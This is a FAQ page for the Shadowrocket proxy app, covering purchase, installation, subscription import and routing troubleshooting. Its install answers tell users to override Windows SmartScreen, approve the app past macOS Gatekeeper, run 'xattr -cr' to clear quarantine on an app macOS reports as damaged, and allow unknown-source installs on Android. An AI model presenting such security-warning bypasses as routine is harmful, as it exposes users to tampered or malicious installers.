Shadowrocket FAQ
questionsFollow the steps for buying, installing, importing, and connecting. First identify your device and where the issue occurs, then expand the relevant answer. When troubleshooting a connection, change one setting at a time.
These instructions assume you already have your own subscription or server details. New users can start with the user guide. Installers and store links are on the Get the App page.
Verify the App and Purchase
verifyHow much does Shadowrocket cost? Can I connect as soon as I buy the app?
The iPhone and iPad App Store version costs $2.99 as a one-time purchase. The Mac, Windows, Android, and Linux versions are free; prices in each store are shown in local currency, so check the store listing. A one-time app purchase is not a service subscription. You’ll still need your own subscription or server details; buying the app does not provide them. This site provides app downloads and the official manual, but does not provide, sell, or recommend servers or subscriptions.
How can I verify that the App Store listing is the official Shadowrocket app?
Check the app name, Shadowrocket, the developer, Shadow Launch Technology Limited, and app ID 932747118. Compare the listing with the official icon shown in this site’s header. The iPhone and iPad App Store version costs $2.99 as a one-time purchase; the Mac, Windows, Android, and Linux versions are free. Don’t assume that pricing for other platforms applies to a similarly named store listing. Open the product page from this site’s download page and verify the developer; don’t rely on the name in search results alone.
Can’t find Shadowrocket in the App Store? What should I check first?
Check the spelling, then open Shadowrocket’s App Store product page from this site’s download page to distinguish missing search results from regional unavailability. The app is not available in the China mainland App Store. Check the country or region for the Apple Account used for Media & Purchases, not just your device language, system region, or current network location. These settings don’t determine the store account’s region. Switching networks repeatedly won’t change the account’s store region.
How do I check or change my App Store country or region?
In Settings, open your Apple Account, then go to Media & Purchases > View Account > Country/Region to check your current store region. If you need to change it, use Change Country or Region on that page and follow Apple’s instructions about account balance, active subscriptions, payment methods, and Family Sharing. Make sure you meet the requirements first. Changing your device’s language or region alone won’t change your store account’s region.
Do I need to buy Shadowrocket again after getting a new iPhone or reinstalling it?
The iPhone and iPad App Store version costs $2.99 as a one-time purchase; the Mac, Windows, Android, and Linux versions are free. After switching devices or reinstalling, sign in with the Apple Account used for the purchase and find Shadowrocket in the App Store’s Purchased list to download it again. You usually won’t need to buy it again. If a price still appears, check your purchase history, account, and store region before proceeding. Reinstalling the app doesn’t restore local settings, so back up the configuration on your old device separately.
Can I install Shadowrocket on iPad? Does my iPhone purchase include it?
Yes. The iPhone and iPad App Store version costs $2.99 as a one-time purchase and works on both devices; the Mac, Windows, Android, and Linux versions are free. On your iPad, sign in with the Apple Account used for the purchase and find Shadowrocket in the App Store’s Purchased list. Check the App Store listing for system requirements. Whether two devices can use the same service configuration at the same time depends on your service’s device and connection limits, not on the app purchase history.
Download, Install, and Open for the First Time
installCan I use Shadowrocket on a computer or Android? Where can I get it?
Yes. The iPhone and iPad App Store version costs $2.99 as a one-time purchase; the Mac, Windows, Android, and Linux versions are free. Go to the Get the App page on this site and choose your platform. Computer and Android installers are available from this site at /dl/shadowrocket/. Check your operating system and device architecture before downloading. If the system blocks the app on first launch, follow the installation instructions in this section. After installation, import your own subscription or server details.
Which Mac version should I choose: Apple Silicon or Intel?
Open the Apple menu in the top-left corner of your screen and choose About This Mac. If the Chip field shows Apple Silicon, choose Mac Apple Silicon; if the Processor field shows Intel, choose Mac Intel. Don’t decide based only on the year you bought the computer. Download the matching DMG, open it, and drag Shadowrocket into Applications. If macOS asks you to verify the developer on first launch, follow the system approval steps in the macOS FAQ below.
Windows SmartScreen warns that the app may be unsafe. How do I continue installation?
First confirm that the installer came from this site’s download page at /dl/shadowrocket/ and finished downloading. If Windows SmartScreen displays a protection warning, verify the source, select More info, then select Run anyway. Follow any additional system permission prompts. This warning is related to the installer not being code-signed. If your device is managed by your organization, the option to continue is unavailable, or security software has quarantined the file, ask an administrator to review it. Don’t disable system-wide protection.
Mac says the developer can’t be verified or the app is damaged. What should I do?
First confirm that the file came from this site’s /dl/shadowrocket/ path and that you moved it into Applications. If you see “the developer cannot be verified,” try opening the app once, then go to System Settings > Privacy & Security, select Open Anyway, and confirm. If macOS says the app is damaged, download the installer for your Mac’s chip again. After confirming the source and installation location, open Terminal and run xattr -cr /Applications/Shadowrocket.app, then try opening the app again. If your device is managed, ask your administrator first.
Android says installation isn’t allowed. Where do I grant permission?
First make sure you’re using the arm64 installer from this site’s download page and that the download is complete. Open the file and follow the system prompt to the Install unknown apps setting for your browser or file manager. Enable Allow from this source only for the app you’re using to install Shadowrocket; you can turn it off again afterward. Setting names may vary slightly by Android version. If the download won’t continue in WeChat, open this site’s download page in your system browser. If you see an architecture incompatibility warning, don’t keep trying to install the same file.
Which Linux package should I choose: deb, rpm, or AppImage?
Check your distribution’s package format and the installer’s architecture first. Debian- and Ubuntu-based systems usually use deb; distributions such as Fedora that use rpm packages should use rpm. Choose AppImage if you want a standalone executable, but it still requires the necessary system dependencies. Open deb files with a package manager; install rpm files with your distribution’s software installer. For AppImage, allow execution in the file’s properties, or enter chmod +x followed by a space in Terminal and drag the actual file into the command. Then run the file.
Import Subscriptions and Servers
importWhat information do I need before importing for the first time?
Have your existing subscription link or the complete server details provided by your service provider. First identify whether you have a subscription URL, a link for a single server, or a configuration file. A subscription URL usually returns a list of servers the app can parse; a web address for signing in to an account dashboard is not a substitute. For manual setup, confirm the protocol, server address, port, and authentication details. Check any TLS or transport settings as well. A screenshot with missing parameters isn’t a complete configuration.
Subscription import failed. What should I check, and in what order?
Copy the full link again and check for leading or trailing spaces, line breaks, truncation, or extra explanatory text. Don’t remove or alter query parameters. Make sure you copied the subscription URL provided by your service provider, not an account sign-in page. Then check that your network can reach the URL and that the subscription is active with the provider. If the error says the format can’t be parsed, confirm that the response is a subscription the app can recognize, not a web page, CAPTCHA, or error message.
I added a Subscribe entry. Why is the server list still empty?
Saving a Subscribe entry only records the subscription URL; it doesn’t mean the server list was downloaded successfully. Update the entry and check for network or parsing errors. Also make sure the list isn’t filtered by a search or group selection. If the update succeeds but the list is still empty, check whether the provider returned valid entries and whether your existing service is still active. Keep the original entry and error details while troubleshooting. Repeatedly deleting and recreating it can remove useful clues.
How do I update an existing subscription, and what does the update change?
Find the existing subscription in Home, open its action menu, and update it. When it’s done, check the number of entries and any error messages. An update fetches the server details currently returned by your provider, so names, addresses, and parameters may change. It may also overwrite entries you manually edited from the same source. Note any custom settings you need before updating, and don’t send repeated requests while troubleshooting. Updating a subscription doesn’t update the app and may not replace the rules file in Config.
What should I check when adding a server manually?
In Add Server, first select the protocol that matches the one provided by your service provider, then enter the server address, port, and authentication details. Fields for Shadowsocks, VMess, VLESS, Trojan, and other protocols aren’t interchangeable. Enter additional settings such as TLS, SNI, and transport paths exactly as provided; don’t swap a domain name for an IP address. After saving, select the entry and test the connection. Saving successfully doesn’t confirm that the server accepted the settings.
QR code scanning failed, or I need help checking a configuration. What should I do?
If Scan QR Code fails, check camera permission, image clarity, and that all four edges of the QR code are visible. Confirm that it contains supported server or subscription details rather than a regular web link. If you have the original link for the same configuration, import it directly to rule out an image issue. When asking for help, share only the error message, protocol type, and screenshots with sensitive details hidden. Full subscription URLs, QR codes, passwords, and authentication fields may contain credentials and shouldn’t be shared publicly.
Routing and Troubleshooting
diagnoseHow do I choose Config, Proxy, or Direct in Global Routing?
Global Routing determines how connections are handled. Config applies the rules in the active configuration and is suitable for everyday use when the rules are set up correctly. Proxy handles connections captured by the app in proxy mode and can help with comparisons while troubleshooting. Direct handles captured connections directly and can help check the local network. Proxy won’t fix server settings, and Direct doesn’t disconnect the app. To stop the app from capturing connections, turn off the connection switch.
The connection switch won’t turn on, or turns off right away. What should I do?
First make sure you’ve selected a working server. Check whether the system prompts you to authorize adding a VPN configuration; confirm on your own device and complete any system verification. If you previously denied permission, turn the connection on again to trigger the prompt. Then check whether another VPN connection is running, device management policies restrict VPN use, or the configuration is missing required details. If the connection still turns off immediately, note the error and restart the app. Back up your configuration before clearing it, so a permissions issue doesn’t lead to lost settings.
The app says it’s connected, but I can’t access the internet. What should I check first?
Turn off the app’s connection and check that Wi-Fi or cellular data can reach familiar websites on its own. If the network requires web authentication, sign in first. Turn the connection back on, check the selected server and the status of your existing service, then use Connectivity Test for additional clues. A passing test doesn’t guarantee access to every website. Compare the results in Direct and Config to help distinguish local network, server, DNS, and rules issues. Change one thing at a time and note what happens before and after.
Routing in Config isn’t working as expected. How do I find the rule causing the issue?
Confirm that Config is selected in Global Routing, then check which configuration file is active. Rules are evaluated from top to bottom, and processing stops at the first match. Broad rules such as DOMAIN-SUFFIX or GEOIP may match before more specific rules. Check the connection log for the policy actually matched and the resolution result. Move specific rules above broader ones and place FINAL at the end. Test with a new connection after making changes so an existing connection doesn’t affect the result.
The interface is in English. How can I follow the instructions?
Match the feature by its English name and function: Home shows servers, Add Server is where you enter server details, Config manages configuration files, Settings contains app options, and Global Routing selects how connections are handled. If your system supports setting an app’s language separately, check the available languages for Shadowrocket in system settings. Layouts can vary by platform, so look for the original English label rather than relying on a button’s fixed position.
Battery drain seems higher after connecting. Which settings should I check?
Compare similar usage periods and network conditions in your system’s battery usage settings; don’t judge by a single battery reading. Continuous data transfer, weak signal, repeated reconnects, and frequent tests can all increase battery use. Once the connection is stable, stop unnecessary repeated tests and detailed logging. Check whether the On Demand triggers match your needs, and compare battery use with the connection off. Protocol, server route, and local network conditions can all affect battery use, so don’t attribute every change to a single switch.